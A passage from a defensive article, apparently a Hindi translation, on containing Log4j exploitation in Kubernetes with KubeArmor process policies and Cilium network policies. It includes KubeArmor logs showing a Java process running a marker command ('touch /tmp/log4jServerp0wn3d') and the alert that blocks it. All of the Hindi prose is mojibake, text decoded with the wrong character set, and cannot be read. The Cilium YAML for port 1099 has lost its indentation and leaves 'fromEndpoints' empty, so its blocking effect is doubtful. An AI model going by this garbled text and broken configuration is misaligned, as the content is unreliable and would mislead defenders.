рдЙрдкрд░реЛрдХреНрдд рдиреАрддрд┐рдпреЛрдВ рдХреЛ рджреЗрдЦрдХрд░, рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ рдХреЛрдИ рд╕реЛрдЪреЗрдЧрд╛ рдХрд┐ рдореБрдЭреЗ рдЕрдиреБрдорддрд┐/рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реНрдкреЗрдХ рдХреИрд╕реЗ рдорд┐рд▓реЗрдЧрд╛ред рдпрд╣реАрдВ KubeArmor рдХрд╛ рджреГрд╢реНрдпрддрд╛ рдореЛрдб рдХрд╛рдо рдЖрддрд╛ рд╣реИ:
root@kitploit:~
== Log / 2021-12-12 19:48:37.737160 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Type: ContainerLog
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Result: Passed
JVM/Java рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рд╕реНрдкреЙрди рдХреА рдЧрдИ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрд▓рд░реНрдЯ рд╣реЛрддрд╛ рд╣реИ, рдЬрдмрдХрд┐ execve рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ KubeArmor рдПрдХ рдкреНрд░рд╡рд░реНрддрди рдЗрдВрдЬрди рд╣реИ):
root@kitploit:~
== Alert / 2021-12-12 19:57:07.871126 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Policy Name: do-not-allow-exec-from-java
Severity: 5
Message: disallowed execing from java process
Type: MatchedPolicy
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Action: Block
Result: Passed
### Cilium рдиреЗрдЯрд╡рд░реНрдХ рдиреАрддрд┐
Cilium рдЯреАрдо рдкрд╣рд▓реЗ рд╣реА k8s env рдореЗрдВ log4j рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдг рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рдиреАрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдирд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдкреНрд░рд╕реНрддреБрдд рдХрд░ рдЪреБрдХреА рд╣реИред рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ, рд░реЛрдХрдерд╛рдо рдиреАрддрд┐рдпреЛрдВ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ DNS рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдХрдо рдЕрдиреБрдорддрд┐ рд╡рд╛рд▓реА рдиреАрддрд┐рдпрд╛рдБ рд▓рд╛рдЧреВ рдХреА рдЬрд╛рдПрдБ рддрд╛рдХрд┐ рдЙрд╕ рджрд╛рдпрд░реЗ рд╕реЗ рдмрд╛рд╣рд░ рдХреБрдЫ рднреА рдирд┐рд╖рд┐рджреНрдз рд╣реЛред
рдЗрд╕ рд╕рдВрджрд░реНрдн рдореЗрдВ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЯреАрдо рдХреЗ рд▓рд┐рдП рдПрдХ рдЪреБрдиреМрддреА рдкреЙрдб рджреНрд╡рд╛рд░рд╛ рдХрдиреЗрдХреНрдЯреЗрдб рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд FQDN рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред Cilium рд╕рдореГрджреНрдз рдиреЗрдЯрд╡рд░реНрдХ рджреГрд╢реНрдпрддрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЛрдИ рд╡реНрдпрдХреНрддрд┐ рдкреЙрдб рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдП рдЧрдП FQDN рдХреЗ рд╡рд┐рд╕реНрддреГрдд рд╕реЗрдЯ рдХреЗ рд╕рд╛рде рдЖ рд╕рдХрддрд╛ рд╣реИред
рдЙрди рдиреАрддрд┐рдпреЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХреБрдЫ рдЕрдиреНрдп рдирд┐рд╡рд╛рд░рдХ рдиреАрддрд┐рдпрд╛рдБ рднреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЕрдкрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
#### RMI рдкреЛрд░реНрдЯ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рдирд╛
RMI рдПрдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╕рдВрдЧрдардиреЛрдВ рджреНрд╡рд╛рд░рд╛ рдХрдо рд╕реЗ рдХрдо рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред log4j рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, RMI рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдХреНрд╖рдо рд╣реИ рдФрд░ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╕рдВрдЧрдарди рдкрд░рд╡рд╛рд╣ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рдЗрд╕реЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрдХреНрд╖рдо рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдкрдХрд╛ рд╕рдВрдЧрдарди рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рдЙрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╣реИред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд Cilium рдиреАрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
root@kitploit:~
apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
name: "L4_rule_to_block_RMI_access"
spec:
endpointSelector:
matchLabels:
app: log4j2
ingress:
- fromEndpoints:
toPorts:
- ports:
- port: "1099"
protocol: TCP
... рдЬрд╣рд╛рдБ 1099 рдбрд┐рдлрд╝реЙрд▓реНрдЯ RMI рдкреЛрд░реНрдЯ рд╣реИред
## рднрд╡рд┐рд╖реНрдп рдХреЗ рдЬреАрд░реЛ-рдбреЗ рдХреЛ рд░реЛрдХрдирд╛
> рдКрдкрд░ рджрд░реНрд╢рд╛рдП рдЧрдП рдкреНрд░рдХрд╛рд░ рдХреЗ рдирд┐рдпрдо рдкреВрд░реНрд╡рджреГрд╖реНрдЯрд┐ рдореЗрдВ рдЖрд╕рд╛рдиреА рд╕реЗ рдХрд▓реНрдкрдирд╛ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рд╕реНрдкрд╖реНрдЯ рдЕрдЧрд▓рд╛ рдкреНрд░рд╢реНрди рдпрд╣ рд╣реИ рдХрд┐ рднрд╡рд┐рд╖реНрдп рдореЗрдВ рдРрд╕реА рднреЗрджреНрдпрддрд╛рдУрдВ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдХреИрд╕реЗ рд░реЛрдХрд╛ рдЬрд╛рдПред
рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдПрдХ рдкреНрд░рдореБрдЦ рд╣рдорд▓рд╛ рдореЛрдб рд╣реИ рдФрд░ рдХрд┐рд╕реА рдХреЛ рдпрд╣ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдкрд░ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреЛрдб рдХреЛ "рдордирдорд╛рдирд╛" рдХреНрдпрд╛ рдмрдирд╛рддрд╛ рд╣реИред рд╕рдВрджрд░реНрдн рдореЗрдВ рдордирдорд╛рдирд╛ рдХреЛ рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╕рд╛рдорд╛рдиреНрдп рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрджрд░реНрдн рдореЗрдВ рдирд╣реАрдВ рд╣реИред
рдЬрд╝реАрд░реЛ-рдЯреНрд░рд╕реНрдЯ (ZTNA) рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдХреЛ рдПрдХ рдиреНрдпреВрдирддрдо-рдЕрдиреБрдорддрд┐ рдиреАрддрд┐ рд╕реЗрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рд╢реНрд╡реЗрддрд╕реВрдЪреАрдмрджреНрдз рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ рдмрд╛рдХреА рд╕рдм рдХреБрдЫ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЬрд╝реАрд░реЛ-рдЯреНрд░рд╕реНрдЯ рдЖрд╕рди рд╣реЛрдиреЗ рд╕реЗ рдПрдХ рд╕рдВрдЧрдарди рдХреЛ рдРрд╕реЗ рд╣рдорд▓реЛрдВ рдХреА рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рд╕реЗ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдмрдЪрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ рдЬрд╝реАрд░реЛ-рдЯреНрд░рд╕реНрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЕрдзрд┐рдХ рдЪреБрдиреМрддреАрдкреВрд░реНрдг рд╣реИред рдЬрд╝реАрд░реЛ-рдЯреНрд░рд╕реНрдЯ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рдПрдХ рд╕рдВрдЧрдарди рдХреЗ рдкрд╛рд╕ рдЙрдкрдпреБрдХреНрдд рд╕реНрд╡рдЪрд╛рд▓рди, рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рддреИрдирд╛рддреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рд╕рд╣реА рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рд╣реЛрдВред рдХреБрдЫ рдмрд┐рдВрджреБ рдЬрд┐рди рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
* рд▓рдЪреАрд▓рд╛ рдиреАрддрд┐ рдкреНрд░рд╡рд░реНрддрди рдЗрдВрдЬрди рд╣реЛрдирд╛ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИред рдЙрди рдиреАрддрд┐ рдЗрдВрдЬрдиреЛрдВ рдХреЗ рд╕рд╛рде рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдиреНрдпреВрдирддрдо рдЕрдиреБрдорддрд┐ рдиреАрддрд┐ рд╕реЗрдЯ рдХреИрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ?
* рдпрджрд┐ рдХреЛрдИ рдбреЗрд╡рд▓рдкрд░ рдРрдк рдореЗрдВ рдмрджрд▓рд╛рд╡ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХреНрдпрд╛ рдЖрдкрдХреЗ рдкрд╛рд╕ рдирдП рдирд┐рдпрдореЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдПрдХ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИ рдЬреЛ рдРрдк рдореЗрдВ рдмрджрд▓рд╛рд╡ рдХреЗ рдХрд╛рд░рдг рдмрджрд▓ рдЧрдП рд╣реЛрдВ?
* рдХреНрдпрд╛ рд╕рдВрдЧрдарди рдХреЗ рдкрд╛рд╕ рдПрдХ рд▓рдЪреАрд▓рд╛ EDR/XDR рд╣реИ рдЬреЛ DevSecOps рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЯреАрдореЛрдВ рдХреЛ рд╕рд╣реА рдШрдЯрдирд╛рдУрдВ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ?
### рдЬрд╝реАрд░реЛ рдЯреНрд░рд╕реНрдЯ рдЖрд╕рди рд▓реЙрдЧ4рдЬреЗ рднреЗрджреНрдпрддрд╛ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЛ рдХреИрд╕реЗ рд░реЛрдХ рд╕рдХрддрд╛ рд╣реИ?
рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди/рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдПрдХ рдЬрд╝реАрд░реЛ-рдЯреНрд░рд╕реНрдЯ рдЖрд╕рди рдХреЛ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
1. рдХреЗрд╡рд▓ рдЙрди рдЗрдирдЧреНрд░реЗрд╕/рдПрдЧреНрд░реЗрд╕ рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдмрдирд╛рдирд╛/рд╕рдВрднрд╛рд▓рдирд╛ рд╣реИред
2. рдХреЗрд╡рд▓ рдЙрди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рд╖реНрдкрд╛рджрдиреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ рдЬреЛ рдЕрдиреБрдордд рд╕реВрдЪреА рдореЗрдВ рд╣реИрдВред
3. рдХреЗрд╡рд▓ рдЙрди рдлрд╝рд╛рдЗрд▓-рд╕рд┐рд╕реНрдЯрдо рдкрде рдПрдХреНрд╕реЗрд╕ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ рдЬрд┐рдирдХреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
4. рдХреЗрд╡рд▓ рдЙрди рд╕рд┐рд╕реНрдЯрдо рдХреНрд╖рдорддрд╛рдУрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕рд╛рдорд╛рдиреНрдп рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВред
5. рдпрд╣ рдЖрд╕рди рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдХрд╣рдиреЗ рдореЗрдВ рдЖрд╕рд╛рди рд╣реИ, рдХрд░рдиреЗ рдореЗрдВ рдХрдард┐рдиред
### KubeArmor рдФрд░ рдЬрд╝реАрд░реЛ рдЯреНрд░рд╕реНрдЯ
KubeArmor рдПрдХ рд▓рдЪреАрд▓рд╛ рдиреАрддрд┐ рдкреНрд░рд╡рд░реНрддрди рдЗрдВрдЬрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕рд╣реА рдиреАрддрд┐ рдЦреЛрдЬ/рд╕рд┐рдлрд╛рд░рд┐рд╢ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИ рдЬреЛ рдПрдХ рд╕рдВрдЧрдарди рдХреЛ рдЙрдкрд░реЛрдХреНрдд рдкреНрд░рд╢реНрдиреЛрдВ рдХрд╛ рдЙрддреНрддрд░ рджреЗрдиреЗ рдореЗрдВ рд╕рдЯреАрдХ рд░реВрдк рд╕реЗ рдорджрдж рдХрд░рддрд╛ рд╣реИред Accuknox рдиреЗ рдиреАрддрд┐ рдЗрдВрдЬрдиреЛрдВ рдХреЛ рдореВрд▓ рдбрд┐рдЬрд╝рд╛рдЗрди рд╕рд┐рджреНрдзрд╛рдВрддреЛрдВ рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрддреЗ рд╣реБрдП рдмрдирд╛рдпрд╛ рд╣реИ рдЕрд░реНрдерд╛рддреН, рдкреНрд░рддреНрдпреЗрдХ рдиреАрддрд┐ рдЗрдВрдЬрди рдХреЛ рдЕрд╡рд▓реЛрдХрди, рдСрдбрд┐рдЯрд┐рдВрдЧ (рдбреНрд░рд╛рдИ-рд░рди) рдФрд░ рдкреНрд░рд╡рд░реНрддрди рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред
> рдЕрд╡рд▓реЛрдХрди рдиреАрддрд┐ рдЦреЛрдЬ рдЗрдВрдЬрди рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░ рдПрдХ рд╕рдВрдЧрдарди рдХреЛ рдЖрд╡рд╢реНрдпрдХ рдиреНрдпреВрдирддрдо-рдЕрдиреБрдорддрд┐ рдиреАрддрд┐ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдпрджрд┐ рдЖрдк рдЕрдкрдиреЗ k8s рдХреНрд▓рд╕реНрдЯрд░ рдкрд░ рдЕрдкрдиреЗ рд╡рд░реНрдХрд▓реЛрдб рдХреЗ рд╕рд╛рде рдиреАрддрд┐-рдЦреЛрдЬ рдЗрдВрдЬрди рдЖрдЬрд╝рдорд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдХреГрдкрдпрд╛ рдкреНрд▓реЗрдмреБрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВред